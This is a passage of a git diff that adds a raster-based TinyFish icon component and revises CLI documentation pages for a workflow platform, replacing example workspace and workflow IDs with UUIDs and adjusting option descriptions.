4AQbML64AELZnj3M+X1680Hls7ory4sjfqbU8gCsBoFppn/U4KwwSMocv9he+s854+o+tlu55REMQrYUArgSAaNcEiBegSVFqACJg/M2YW9cT6FbJOdOjvDajkAJQg8G8s34HjUMLz5y5aBdCEYjq0Mz/f/xba9DO8Igyagks4VIAiP6R4H79Pn1Ce8BwgCLAvMBMIeDfmZXn/3fMbx/ha0THfHeenatTgJCaejxonmX27QkKdYTZBV387mkXn+PAaBDtbvRZ4doDIP26C8ULEHgmLsafHlkIAI8Etc8w+/ZAEGYVkY1OLJKFAND4tU8EtruYH1BUPkrnjr0we8hCAIh2YRAvCUkY0ITT6fWqF7LDOxLZL99aA4WsBMCot5nJ2K5Zh4jAbKTwAqA9n6mQN/RcImFA2zFyIHIMmQdLuD4GJBUYXGlcp9G6a1ZzWgQgLjxiHHh9FCP7J/wW48enx3/xnsG1y5ZM9xF0f9fi+KS732kWAqC9+/OefiGacmbJ0Xfz3xQ0R9C4tjy3C/0vv+ULQCP477yhyPmDe7+/wWlhDhmJnqKs1XFbB9cCUIbBcINCNOXMGvEAtKjtOYTHntlhdPWYx3HsGpS0b4EpEUnA47CYA3AtALL72+aEiwmrxYS7ff8rb2HLtl1Nd/sohqN3Y6twzkHE5/RgEZcCUFZPt+5iV7s/jxh51MhegIVk0l3RSFEI3fwt215PHE9/OOn2lEVDcMZhEZcCUNFdyN1/bRmpMnwUuOvVszUG/JzsBpz257VN6YN3MQUhhIbf9/QOa4m0a5e57bqscQJQg0VcCkBujv5o9Lf87bltyPlvFITBO9XnL1JOjR4AawHapDdAXBjjP/DYc7Fd/WZUrnM7d3Gg9nbUEmsJQOJKACowOPpL2/3f8vPmMwgK2ZNwUuWEFs0+AeAuv31oFM++vDt2X8Eoula6bTs27PAEgLgSgHW6C5n4S3siT6vS4rAbUaG8gFl2FMjdfmjvQSsxfit4JdnlESBFLGLYKY3f6hw1FwJQhkHyb52DzH9UeHH/IHD4j1EcPnCbqXYNjZw744Da7fnYdvOb4XIiENEYWT8Ey7gQgIruQn9ARw42MnoIvIZclDqE0sTBwicCufP1PbPzzI47royclXms0HNl8PVw93ddBUivJoIaLONCALSTfy6P/qLgrEKWIRdiQOjRI4VPBB4/cco/r88DLAV2vfvT/dcQuhosk/ZlIPYvL+surjg6ceG5v86a+2soDkcOocho9MJ3BluOu979Ndz/GizH/yRtAejRXegi+RfCEWQ6MCHIE4NC8F46WXCXZHHxZia8AOS65ThLjjUEQLuVnglpC0BFd+GaMpyga/whvbuL0ZCkND6KotO57HJkCT9/FsNANY8wa0iBNAWgAk3330XlX8j4CaPlxQkFWBBU8LLgrgxHfTHu54SiLOAlpQhqsHwHICRNAdD+aVYcVluyBNgUhgKFaE46HllFlmuu/YLbstsQGn8wmch9CFJVrr9G8i8V95+k7QFosc7hrb9azCNzhgJ5H1dW9DCAZbeu795nafxEY/f31FNFSqQlANrZf9dn/3E8gJC7fpzzfMDEwcL3COy57ya4Imvj19z9a0iRtARAu+mnS/efu3+zOwA6MB8w8xJR7hgr9iCFdd/4A7iACb8sjZ+Zf43dn2iP04tDWgLQpbvQpfs/4CEx/q1Brd9bNhQ9DGA9QM+96XoBPObL0vhJq5ZkdVSRUvIvJA0B4OTSis5C1+6/rRiensSGN5BPGAYcLfZs9Y0PrU4lF8CPuelbd/pDRrMcN8bdv+/pnTpLU0v+haQhABXthQ7df+7cpjUArWCpcG5PBgruBdBQbR/JMcG4939sUDmGm5E1t65/QmdZDSnH/yQNAdAe3t7lcPe34f7PhCcDeRSB0uiuwicDabAcE56UMNGXtcsfwo5FmpebUo39Q9K4DNSpu9ClB1AdQyr0Tldw5urmII3fextY5rak1Tb+jTyVE3jgsR/ojMs6BwrIow/e5ryjTyvo+m/4ry/pLK3Cwe5PSrAL438teev8JLDvbjiBrv+KHyJVelflTAQWX4Wpr69Hu8Ajs7/ZtqtlxxwaOzv48CQhD7v9TK5c85e6u/8VSDn5F2LbA9Df/R26/1schMS58wSYDJw4pIQgu/Jam9Ab4MNdlN5AOEK7Y95cZewLfVc/y8ReFBsef0nX+KtwZPwkMwHocnj1N271nyl5E4HS3h1t5QUQhgR5ujqsQ9CiXKvXgQdHsX+I7SSg9vm/qz782z231XsUgdwcEYZegJAZDFk0435C4/fgENsCUNZZxHHfru7+90Ves7YPjwjZYjwPFYP0AoRsYJjyzb+o6i5nw0/txbawLQBaIQATgC5g5j+r2n16Hkw8Zn53QLyATKDx87zfoJ/hXcgAmwLQobvQlfufwu7vGS2eHkCS5AKSDcQLcEsM43fu+ofYFADtBKALDyCF3d9Tzy0wLM/k17Dif2XcWoxeQMF7BRQFtjD/5r+vmhh/TT29yIhMPIClDgZ/pLD700XzEMw4MK7Rfvgn2VYNlt4cKHx1YN4Jd36DicKeeu5HhmQiAOV5SBXutpZ3f7po9SOZuhFDBHhCcMX/zCgvwHZho38HIR1iGD+h8XvIkGwEIEUPgMa12a67XUNjF60bMUQgzAv0p1Sa3Ao/F3BCxonbJkbMT7ip1JAxmQhAmtC4LOKhtYvWjZgi0D2YTb1Aaeh5CPbgnMKVf/K4qfFvQYZxfz1ptwV3yoafWHevmfTzItZ0I+a9bdYLOA8JmBCUUMAKrPDjzm84oNRDToyftI0AMO637PpvgH581o2YJZw0foqAywQhQwHPm8hk5l47QINnbb9BhV+Ih2BTsT7hJy42bwN2q2erzsJj3dETek3gOTuP2ixCY+6FOb0wmIU4E+ZGBu9IJ0fCqsTt48DQkaBIKaxSZIMMdskR9PCr+9Qxn2Gyz39X6HmUTslEADh629aLnMZvuVEn47OHER++7yYkgFeLe5bbEUm2QaN31Koh6mtP/ltUrmuPW4NpQpe/7+kdpi4/4Y5P4x9GzrgAdtG6erbik3aqAVMw/u1Ifi77JoI57uyMHOt+Ko31eRWqL5gT7+fEn8e3R4LmpU/9H+Ad9fI79XHz9bxOm6fGGXmDBv+1nu/iqR++iVOnfw9Dcmv8xGYOQDuusXE9t3+/dePnL8hWUUZNPSuQwN0LTwp4qUg3ScifBXMJV2wLag50fzZdK8X4m8Fd/8o1/0V3ft9Mcm38xHZHIGaVIo8DeRuQYUAcFzd8kVtO+PEXlEZypowgHNCek9AMTk9mn4FGoRN/Jmx6wp+JiSCy+ebGB29L3CiT8XDY6LLnvq/4H7PoMNZ/oO/5uIZPcm/8xHYIcL16ro5aRHf0o/8P3P5ZGMF49qv/G/jxL2GTtIwf0x+TB+8U2goSwHCHjU0/PB2IQCiejO/p6vNn0srNnwkHY7zw1+uwtrIcSfnan33XNxi6x0PKYDo+cSmuX/45FBG6+99+djCo55+IfUriqeeryLnxE9segFECTLePHg2ftf0pdPZJ0/hnQi+AP5syEkIBePjLKmFxON7PpOfem6d779tpoTWz1x09i0MDjzif85eUBEm+ejzkMNvfDNsewHswyKDzxcuS2JKSobnqK/nMpUG8651QO9rfB7sbR3MzkZVCsQyLd+6DuzPZd9QzgMAT+AwSwDZn3PFNfyb+CGy166+/+wbMnWOvG9zxEyfVzn+25wA9gblzLipMYpENR9m44/kdI3GSfPVwQ+HO76Eg2PYAiEpdJXN3HRD3nN8WvUhQLxAHv8/+o/ek0i33+OhuLLz/3BLjIngBNHzO57NUEJX0+DgT0qgEdNrU0BDu9qzw60W29MJh62e6/GkOxujAyfOSk8cnT2Lg2R/krg8B3fu+Z3Zi4a3/2U/yWTJ+vqYKZ/zEdghAPAQeQBn5wkPgnm1HPqAYMQzhFnk9UoC77xOP3I3/0H0LUuXQCEb+7y/O63xUOv4r3FsaRunAbpQ+YLJCOZwXXgRc7N4r4KUdxvgPPPYcXn1jf1JXP8RD0CfiORSUNCYDEZ6n70NObggiMDQqdG5qsKfh18OvazOC0KkMS4Txfuey9Puvl44e8Y92Z3ImQcleBJNKBMamu7QsWuI/Uwv59vLg7xfb7+nP3b7/lbcwUHs7yXFeM2oIjD9vrykj0hIAD4FbpFUanCL85VCM8rLrN8NDEBL0wkJuIJyH52Q6DrsMTRxsWNPBZCUTlefVLijB4HNOAmq++lrnLfSfKf6ZDz2FM8/cs+vqmaxz4U8c80OP7WMn8ayK74fH3k2a0W8EX1MMczejDUhLAEgVwY7mNNlVR3jnukgK3Yvg58a3scbj8nyfxu9sSs5E6511aELz3ofvJdCYDxpnpln81H8gOBZlGJJiO/YactDFxyZpCgDpRWCAiS7HGFJD4H3kvgijCR4Cj8VYAJwbv6I0neRrdiSZhjHyY7I2JLzZ6KCfQlvt+vWkLQCEPzS+oK3GuA2oISdtlhJSRozQKQvj99uLTcf1TQXgNBJBYx/+ABg5Ggx5ZV7BcU/FKoINpdCxfjNcCADxEMS43QhCgjLs4CFI8FFk2uEXxKTpIAyTp5kYP86dNxB39gEN3M8VnAgMm6XONHTf8I9m1EA1oIb22FBakkYhkA5rpx/OEiwbvB+NnK49r9vW0H6/HO783Sbv4DThV4/a/UvP/aX/x1bj1xn/1+cA6g0686lJjfEQGH4VswBXHsBMtuNsZr4TgQjw6Zh+Lpv+v3EERu8hMHwP7Us3DI2f5/yZGD9m7P4fNF/nl3bn09BnEhaJVTGLyEoA6hlGcRN2tigjxmlJWqW9kTDuHzs7eYW9GQqMh1m0488kDwIgAD0wzItsfHA11laugXPo+u87u/tzd0/hlqYLapgFMX4UIgDZU4ZhHTnj/o0PZdN0wx8xVld8k+W4sxiE5dcMP2sQRABygLHrz7g/C/y43zt7uadgu394jt+Wx3lxEQHIljIME3/d31iVXdJv785z/o2xf0ESfB5yNIwjT7TVZKACYrT70/V/VMX+rvEv8cwwfhp+b3Hc/y0QGiIeQLZUTBavUUk/17t/aXQX8Ob5E3AKFPt7yP9lsMwQAciOCgwz/2zs4ZJGbj9hq7ZqcY7+mPTzIDREBCA7jFqFO439T58KjJ+7/wwK5vp7aMMLPDYRAciOa00Wr7nBUYNNnvPvrAZ39mdA47c8jCVtmPmXrH8LRACyo2K0+D21I59QIjAvPS/Aj/dZ5PPR+U00aPQmU4pyQBWztLrPBDkFyIZOk8WVJUDHabUzv/JEcAXXNhOH1Md+Mkj2NTF+7vxxb/xlgId8N6fNDeIBZIPRdd8zt+kmAxGYWqGOApetQmLo7jPWr6vrnwl3fO78BTJ+wks9HoRIRACyIZ4AEIrA688D7x3E1MrV8UIC7vgH3mpp+IRGXzC3n3Dnl2M/TUQAssFIABoyNt1ld/FVmPrCqunuuosbr1VZfb8J5/gowGcyOozgUR+z/QVK+JGwD6SgiQhANhhlplvuwBMHUQobc86ZG3TWDfvus2Mvn0n9vAE/F8exFfCGH6+UG12qErLrCDTbYRJwn+5i9tw/dj9SJRwx3rsbRcTlkNe2QjyAbPBMFrNnHoeorlsG64SGv/nnhXP3Q8T4EyAeQHYchkEpML2Aff9Ks8e+BmyrPaC+gupYYQ2f5HXiU2EQAciOKgx7/9P4e1fF9wQY3w+MBwM0LMX43H2NahosUshpvHlDBCA7KghagBtDIXj4y0CXSvp3Lmq8hrs6W23zKG/kN6kM0AgbbKRQmdSSth3SIcw+aDxTSZ+OOZhSonDm4d9tfNwWT3fd91BN+XPVP0ycliEIbUIv3BmPjYeCVZnxPZRhScgiPm8vBKHNYEHQYbgx3qQPv85yk++jkuLnHYTs+kIbw74AUzl/GG9HVS/y+7DpCQzC8MakIBSVXuTD0Bvt+hXoU0ZguHE/HwVkM8TwhVlIFfkyfp1dvxmV6e9HxyM4jLNGn/yOhGCEHAPmi17EmBNgmRqC67S2xrVVEBh2efrtcZwd8upBingE4RxY3JLFjj8Icb0FIReUkSyWlphbENqAbgTFL2ns9vQ0JOYWhALAevsq4tcM8P22IhAUMXrhDJIELB5lBILAZykCgw6NOkywfYggwcanBkm0CYIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgpMk/ACSt+VuUuKZ4AAAAAElFTkSuQmCC' + +/** + * TinyFish's goldfish mark. + * + * TinyFish ships this mark only as a raster asset, so the official 256x256 PNG is embedded + * verbatim inside an SVG wrapper to keep the shared `SVGProps` icon API. The + * wrapper's viewBox matches the artwork exactly. + * + * @see https://www.tinyfish.ai/favicon-for-app/icon0.svg + */ +export function TinyFishIcon(props: SVGProps) { + return ( + + + + ) +} + export function TinybirdIcon(props: SVGProps) { return ( diff --git a/apps/docs/components/ui/icon-mapping.ts b/apps/docs/components/ui/icon-mapping.ts index ec93a2240d1..6c22a5c0a48 100644 --- a/apps/docs/components/ui/icon-mapping.ts +++ b/apps/docs/components/ui/icon-mapping.ts @@ -244,6 +244,7 @@ import { ThriveIcon, TikTokIcon, TinybirdIcon, + TinyFishIcon, TrelloIcon, TriggerDevIcon, TwilioIcon, @@ -551,6 +552,7 @@ export const blockTypeToIconMap: Record = { thrive: ThriveIcon, tiktok: TikTokIcon, tinybird: TinybirdIcon, + tinyfish: TinyFishIcon, trello: TrelloIcon, trigger_dev: TriggerDevIcon, twilio: TwilioIcon, diff --git a/apps/docs/content/docs/en/cli/audit-logs.mdx b/apps/docs/content/docs/en/cli/audit-logs.mdx index 01104feceb9..1c06a2785ee 100644 --- a/apps/docs/content/docs/en/cli/audit-logs.mdx +++ b/apps/docs/content/docs/en/cli/audit-logs.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim audit-logs get [options] ``` +Get Audit Log (personal API key required) + **Arguments** @@ -41,6 +43,8 @@ sim audit-logs get [options] sim audit-logs list [options] ``` +List Audit Logs (personal API key required) + **Options** diff --git a/apps/docs/content/docs/en/cli/authentication.mdx b/apps/docs/content/docs/en/cli/authentication.mdx index 40cdf96e307..68461afd01f 100644 --- a/apps/docs/content/docs/en/cli/authentication.mdx +++ b/apps/docs/content/docs/en/cli/authentication.mdx @@ -24,7 +24,7 @@ https://www.sim.ai/cli/auth?request=…&scope=platform Waiting for approval… ✓ Logged in. Key stored in /Users/you/.sim/credentials - Personal key, defaulting to ws_abc123. Override per command with --workspace. + Personal key, defaulting to 2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67. Override per command with --workspace. ``` There is no loopback listener, so this works over SSH and inside containers. @@ -47,7 +47,7 @@ profile's default `workspace`; it does **not** restrict the key to that workspace. Target another workspace the key can reach with `--workspace`: ```bash -sim workflows list --workspace ws_other +sim workflows list --workspace 9b4c7e02-1d58-4f36-a0c9-6e2b85df413a ``` `sim login --workspace ` preselects a workspace in the picker, and @@ -58,7 +58,7 @@ a workspace profile: ```bash sim workspaces list -sim profile add acme --workspace ws_acme +sim profile add acme --workspace 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 sim --profile acme whoami ``` @@ -108,9 +108,9 @@ config file: ```bash export SIM_API_KEY="sim_…" -export SIM_WORKSPACE="ws_abc123" +export SIM_WORKSPACE="2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67" -sim workflows run wf_7Yb2 --input '{"source":"nightly"}' --output json +sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --input '{"source":"nightly"}' --output json ``` Create the key in Sim under **Settings → API keys**. Store it as a secret in your @@ -130,7 +130,7 @@ jobs: with: node-version: '20' - run: npm install -g sim - - run: sim workflows run wf_7Yb2 --output json + - run: sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --output json env: SIM_API_KEY: ${{ secrets.SIM_API_KEY }} SIM_WORKSPACE: ${{ vars.SIM_WORKSPACE }} @@ -151,8 +151,8 @@ sim workflows list --profile prod Use workspace profiles when one personal key should target several workspaces: ```bash -sim profile add marketing --workspace ws_marketing -sim profile add support --workspace ws_support +sim profile add marketing --workspace c3a70e58-9f21-4d6b-b842-05e7f19c6a3d +sim profile add support --workspace e0d94b17-3c62-45af-9718-b6a2c8035f4e sim workflows list --profile marketing sim workflows list --profile support diff --git a/apps/docs/content/docs/en/cli/billing.mdx b/apps/docs/content/docs/en/cli/billing.mdx index c93a0552c2e..979d99ca7fb 100644 --- a/apps/docs/content/docs/en/cli/billing.mdx +++ b/apps/docs/content/docs/en/cli/billing.mdx @@ -31,6 +31,8 @@ Show billing status and current-period credit usage (credits and storage require sim billing logs [options] ``` +List credit usage events (a personal API key reports only your own events; a workspace API key reports every member's in aggregate, unattributed) + **Options** diff --git a/apps/docs/content/docs/en/cli/configuration.mdx b/apps/docs/content/docs/en/cli/configuration.mdx index b0b177f90f9..b5ba49ac7d4 100644 --- a/apps/docs/content/docs/en/cli/configuration.mdx +++ b/apps/docs/content/docs/en/cli/configuration.mdx @@ -28,14 +28,14 @@ sim profiles # list them; * marks the active one Add a profile for another workspace without creating or copying an API key: ```bash -sim profile add acme --workspace ws_acme +sim profile add acme --workspace 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 ``` ## Setting defaults ```bash sim configure --set-endpoint http://localhost:3000 --profile dev -sim configure --set-workspace ws_local --profile dev +sim configure --set-workspace 5c81f3a6-0e27-4b94-8d15-a7f60c39b2e8 --profile dev sim configure --set-output json ``` @@ -76,16 +76,16 @@ repo: ```ini title="~/.sim/config" [default] endpoint = https://www.sim.ai -workspace = ws_abc123 +workspace = 2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67 output = table [profile dev] endpoint = http://localhost:3000 -workspace = ws_local +workspace = 5c81f3a6-0e27-4b94-8d15-a7f60c39b2e8 [profile acme] auth_profile = default -workspace = ws_acme +workspace = 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 ``` Keys live in `~/.sim/credentials`, written `0600`: @@ -132,9 +132,9 @@ filesystem at all. Workspace-scoped commands need a workspace: ```bash -sim tables list --workspace ws_other -sim configure --set-workspace ws_abc123 -export SIM_WORKSPACE=ws_abc123 +sim tables list --workspace 9b4c7e02-1d58-4f36-a0c9-6e2b85df413a +sim configure --set-workspace 2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67 +export SIM_WORKSPACE=2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67 ``` For a reusable selection, create a workspace profile backed by the current @@ -142,7 +142,7 @@ stored login: ```bash sim workspaces list -sim profile add acme --workspace ws_acme +sim profile add acme --workspace 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 sim --profile acme tables list ``` diff --git a/apps/docs/content/docs/en/cli/credentials.mdx b/apps/docs/content/docs/en/cli/credentials.mdx index de77e662048..aec2144c459 100644 --- a/apps/docs/content/docs/en/cli/credentials.mdx +++ b/apps/docs/content/docs/en/cli/credentials.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim credentials delete [options] ``` +Disconnect Credential (personal API key required) + **Arguments** @@ -31,7 +33,7 @@ sim credentials delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -78,6 +80,8 @@ sim credentials list [options] sim credentials update [options] ``` +Update Credential (personal API key required) + **Arguments** @@ -119,6 +123,8 @@ sim credentials update [options] sim credentials create [options] ``` +Create a service-account credential using its discovered provider schema (personal API key required) + **Arguments** @@ -148,6 +154,8 @@ sim credentials create [options] sim credentials connect [options] ``` +Create a short-lived link for connecting an OAuth provider (personal API key required) + **Arguments** @@ -174,6 +182,8 @@ sim credentials connect [options] sim credentials reconnect ``` +Create a short-lived link for reconnecting an OAuth credential (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/custom-tools.mdx b/apps/docs/content/docs/en/cli/custom-tools.mdx index 3f5af1e743f..097d4fb3fed 100644 --- a/apps/docs/content/docs/en/cli/custom-tools.mdx +++ b/apps/docs/content/docs/en/cli/custom-tools.mdx @@ -49,7 +49,7 @@ sim custom-tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/cli/files.mdx b/apps/docs/content/docs/en/cli/files.mdx index f910224e817..3d04694e7b8 100644 --- a/apps/docs/content/docs/en/cli/files.mdx +++ b/apps/docs/content/docs/en/cli/files.mdx @@ -21,8 +21,8 @@ sim files batch-delete [options] | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -85,7 +85,7 @@ sim files folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -107,7 +107,7 @@ Also available as `sim files folders ls`. | `--search ` | No | Case-insensitive substring match against the folder name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -168,7 +168,7 @@ sim files delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -194,7 +194,7 @@ sim files describe [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -220,6 +220,8 @@ sim files share get sim files share set [options] ``` +Enable or disable sharing for a file (personal API key required) + **Arguments** @@ -239,7 +241,7 @@ sim files share set [options] | `--is-active ` | Yes | Whether the share should resolve. Disabling preserves the token and the whole access configuration, so re-enabling restores the share as it was; enabling rewrites the credentials the resulting mode does not use. Accepted values: `true`, `false`. | | `--auth-type ` | No | How access to the share is gated. The stored mode is kept when omitted. Enabling `public` clears the stored password and empties `allowedEmails`; `password` empties `allowedEmails`; `email` and `sso` clear the stored password. Accepted values: `public`, `password`, `email`, `sso`. | | `--password ` | No | Password for a password-gated share. Kept when omitted; enabling `password` with neither a supplied nor a stored password is a 400. | -| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line). | +| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -258,7 +260,7 @@ sim files list [options] | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--recursive` | No | Whether the folder filter includes files in subfolders. Defaults to true when a search is set, false otherwise, so listing a folder shows that folder while searching one looks through everything in it. Ignored when no folder filter is set, which already spans the workspace. | | `--no-recursive` | No | Send --recursive as false. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--search ` | No | Case-insensitive substring match against the file name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `size`, `uploadedAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | @@ -280,7 +282,7 @@ Also available as `sim files mv`. | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -375,7 +377,7 @@ sim files unzip [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/cli/index.mdx b/apps/docs/content/docs/en/cli/index.mdx index ffe240c7b16..a9927e7d9e3 100644 --- a/apps/docs/content/docs/en/cli/index.mdx +++ b/apps/docs/content/docs/en/cli/index.mdx @@ -77,9 +77,9 @@ sim workflows list ``` ``` -ID NAME FOLDER DEPLOYED RUNS LAST RUN -wf_7Yb2 Refund triage /Support yes 412 2026-08-15 14:02:11 -wf_9Kd4 Weekly digest /Reporting no 18 2026-08-11 09:00:04 +ID NAME FOLDER DEPLOYED RUNS LAST RUN +3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 Refund triage /Support yes 412 2026-08-15 14:02:11 +b8c0d247-9e13-4a86-97f5-2ad4e1638c09 Weekly digest /Reporting no 18 2026-08-11 09:00:04 ``` @@ -87,7 +87,7 @@ wf_9Kd4 Weekly digest /Reporting no 18 2026-08-11 09:00:04 ### Run one ```bash -sim workflows run wf_7Yb2 --input '{"ticketId":"T-4821"}' +sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --input '{"ticketId":"T-4821"}' ``` A workflow must be deployed before it can be run. Deploy from the editor, or @@ -106,8 +106,8 @@ sim [sub-resource] [arguments] [options] ```bash sim workflows list -sim tables rows query tbl_123 --limit 50 -sim knowledge documents upload kb_123 ./handbook.pdf +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --limit 50 +sim knowledge documents upload 4c1b7f60-2d55-4a3e-9c18-70b6ea2f9d31 ./handbook.pdf ``` Resource groups are plural, and each also accepts its singular spelling — @@ -146,8 +146,10 @@ sim tables rows query --help | [`workflow-mcp-servers`](/cli/workflow-mcp-servers) | Publish workflows as MCP tools for outside agents | | [`meta`](/cli/meta) | Check what this API supports and which limits apply | -The [command reference](/cli/commands) documents every subcommand, argument, and -flag, and is generated from the CLI itself. +The [command overview](/cli/commands) has the global options and the commands +that take no resource; the [complete reference](/cli/reference) documents every +subcommand, argument, and flag on one page. Both are generated from the CLI +itself. ## Where to go next @@ -156,4 +158,5 @@ flag, and is generated from the CLI itself. - [Output formats](/cli/output) — `table`, `json`, `yaml`, and `text`, and when to use each - [Scripting](/cli/scripting) — piping, file inputs, exit codes, and automation recipes - [Troubleshooting](/cli/troubleshooting) — what each error means, and how to resolve it -- [Command reference](/cli/commands) — every command, argument, and flag +- [Command overview](/cli/commands) — global options, the command groups, and the commands that take no resource +- [Complete reference](/cli/reference) — every command, argument, and flag on a single page diff --git a/apps/docs/content/docs/en/cli/knowledge.mdx b/apps/docs/content/docs/en/cli/knowledge.mdx index 9981ebce825..5d697bb22b1 100644 --- a/apps/docs/content/docs/en/cli/knowledge.mdx +++ b/apps/docs/content/docs/en/cli/knowledge.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim knowledge from-workspace-files create [options] ``` +Index files the workspace already stores (personal API key required) + **Arguments** @@ -31,7 +33,7 @@ sim knowledge from-workspace-files create [options] | Option | Required | Description | | --- | --- | --- | -| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line). | +| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -41,6 +43,8 @@ sim knowledge from-workspace-files create [options] sim knowledge tags save [options] ``` +Declare the tag definitions a knowledge base needs (personal API key required) + **Arguments** @@ -67,6 +71,8 @@ sim knowledge tags save [options] sim knowledge tags create [options] ``` +Create Tag (personal API key required) + **Arguments** @@ -95,6 +101,8 @@ sim knowledge tags create [options] sim knowledge tags delete [options] ``` +Delete Tag (personal API key required) + **Arguments** @@ -112,7 +120,7 @@ sim knowledge tags delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -122,6 +130,8 @@ sim knowledge tags delete [options] sim knowledge tags cleanup [options] ``` +Remove tag definitions no document still uses (personal API key required) + **Arguments** @@ -140,7 +150,7 @@ sim knowledge tags cleanup [options] | --- | --- | --- | | `--unused` | No | Whether to remove only the tag definitions no document in the knowledge base still carries a value for. Defaults to true. Pass --no-unused to delete every definition on the knowledge base, which also clears its slot on every document and chunk and is not recoverable. | | `--no-unused` | No | Send --unused as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -150,6 +160,8 @@ sim knowledge tags cleanup [options] sim knowledge tags next-slot [options] ``` +Show which tag slot a create would take for a field type (personal API key required) + **Arguments** @@ -192,6 +204,8 @@ sim knowledge tags list sim knowledge tags usage ``` +Show how many documents and chunks carry each tag (personal API key required) + **Arguments** @@ -208,6 +222,8 @@ sim knowledge tags usage sim knowledge tags update [options] ``` +Update Tag (personal API key required) + **Arguments** @@ -236,6 +252,8 @@ sim knowledge tags update [options] sim knowledge chunks batch-update [options] ``` +Enable, disable, or delete many chunks at once (personal API key required) + **Arguments** @@ -254,8 +272,8 @@ sim knowledge 